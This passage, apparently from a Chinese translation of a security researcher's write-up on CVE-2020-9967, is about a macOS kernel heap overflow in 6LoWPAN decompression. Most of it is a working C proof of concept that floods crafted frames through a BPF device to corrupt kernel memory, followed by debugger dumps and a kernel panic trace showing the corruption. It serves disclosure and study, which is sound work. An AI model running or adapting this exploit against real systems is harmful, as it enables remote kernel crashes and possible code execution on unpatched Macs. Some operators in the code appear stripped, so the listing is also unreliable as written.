#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>
// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
struct frame_t {
struct ether_header header;
unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
ssize_t len;
ssize_t payload_len;
};
// Open bpf device
int open_bpf_device()
{
char buf[11] = {};
int bpf = 0;
for(int i = 0; i < 99; i )
{
sprintf(buf,"/dev/bpf%i",i);
bpf = open(buf,O_RDWR);
if( bpf != -1 ) {
printf("Opened device /dev/bpf%in", i);
break;
}
}
if(bpf == -1) {
printf("Cannot open any /dev/bpf* device, exitingn");
exit(1);
}
return bpf;
}
// Associate device
void assoc_dev(int bpf, char* interface)
{
struct ifreq bound_if;
strcpy(bound_if.ifr_name, interface);
if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
printf("Cannot bind bpf device to physical device %s, exitingn", interface);
exit(1);
}
printf("Bound bpf device to physical device %sn", interface);
}
// Write trigger frame
void write_single_frame(int bpf)
{
ssize_t data_length = 32;
struct frame_t frame;
memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);
// 802.15.4 frame type.
frame.header.ether_type = 0x908;
frame.len = (2*ETHER_ADDR_LEN) ETHER_TYPE_LEN data_length;
// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
frame.payload[0] = 0xff;
frame.payload[1] = 0xff;
// This is the start of the "data" passed to frame802154_parse and considered frame header
// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
// These are used for the FCF (no flags set)
frame.payload[2] = 0;
frame.payload[3] = 0;
frame.payload[4] = 0;
// As none FCF are set p =3 bytes.
// header length
// c = p - data;
// c = 3
// payload length
// pf->payload_len = (4 - 3);
// pf->payload_len = 1
// This is the start of our payload passed to sixxlowpan_uncompress
frame.payload[5] = 0;
frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP
// Just pad the frame with 'A'.
for (int j = 7; j < 32; j ) {
frame.payload[j] = 0x41;
}
ssize_t bytes_sent;
bytes_sent = write(bpf, &frame, frame.len);
if(bytes_sent > 0) {
printf("Bytes sent: %ldn", bytes_sent);
} else {
perror("Error sending frame");
exit(1);
}
}
int main(int argc, char *argv[])
{
char* interface = "en0";
int bpf;
bpf = open_bpf_device();
assoc_dev(bpf, interface);
// Do this in a loop to ensure we corrupt data following mbuf.
while (1)
write_single_frame(bpf);
return 0;
}
这就造成了以下结果:
代码语言:javascript复制frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]
(lldb) register read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000000000
rcx = 0xffffff8876c7bd28
rdx = 0x000000000000fff9
rdi = 0xffffff806f16f806
rsi = 0xffffff806f16f82b
rbp = 0xffffff8876c7bcf0
rsp = 0xffffff8876c7bc30
r8 = 0xffffff8876c7bc38
r9 = 0xffffff8876c7bc40
r10 = 0x0000000000000000
r11 = 0x0000000000000003
r12 = 0x0000000000000028
r13 = 0x0000000000000003
r14 = 0xffffff8876c7bd28
r15 = 0xffffff806f16f803
rip = 0xffffff8012dfa1da kernel`sixxlowpan_uncompress 298 [inlined] memmove at subrs.c:703
kernel`sixxlowpan_uncompress 298 [inlined] __memmove_chk at sixxlowpan.c:853
kernel`sixxlowpan_uncompress 298 at sixxlowpan.c:853
rflags = 0x0000000000000206
cs = 0x0000000000000008
fs = 0x0000000000000000
gs = 0x0000000000000000
Source:
(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28
Dest:
(lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e
由于集群 mbuf 的大小只有 2048,并且以链接列表的方式链在一起,这将会导致攻击者控制的数据损坏后续 mbuf。
在KASAN内核上运行我们稍微修改过的POC 2 (41的换成45的),我们也可以看到堆损坏已经发生,并且我们已经触发了Nextptr的验证:
代码语言:javascript复制panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)
Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap 0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap 0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap 0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel 0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState 0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger 0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic 0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic 0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc 0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc 0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext 0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc 0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext 0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc 0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl 0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input 0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input 0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common 0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont 0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation 0x2e
预计由于写的大小受控,数据受控,将有可能把这个问题变成代码执行。
翻译文章地址:https://alexplaskett.github.io/CVE-2020-9967/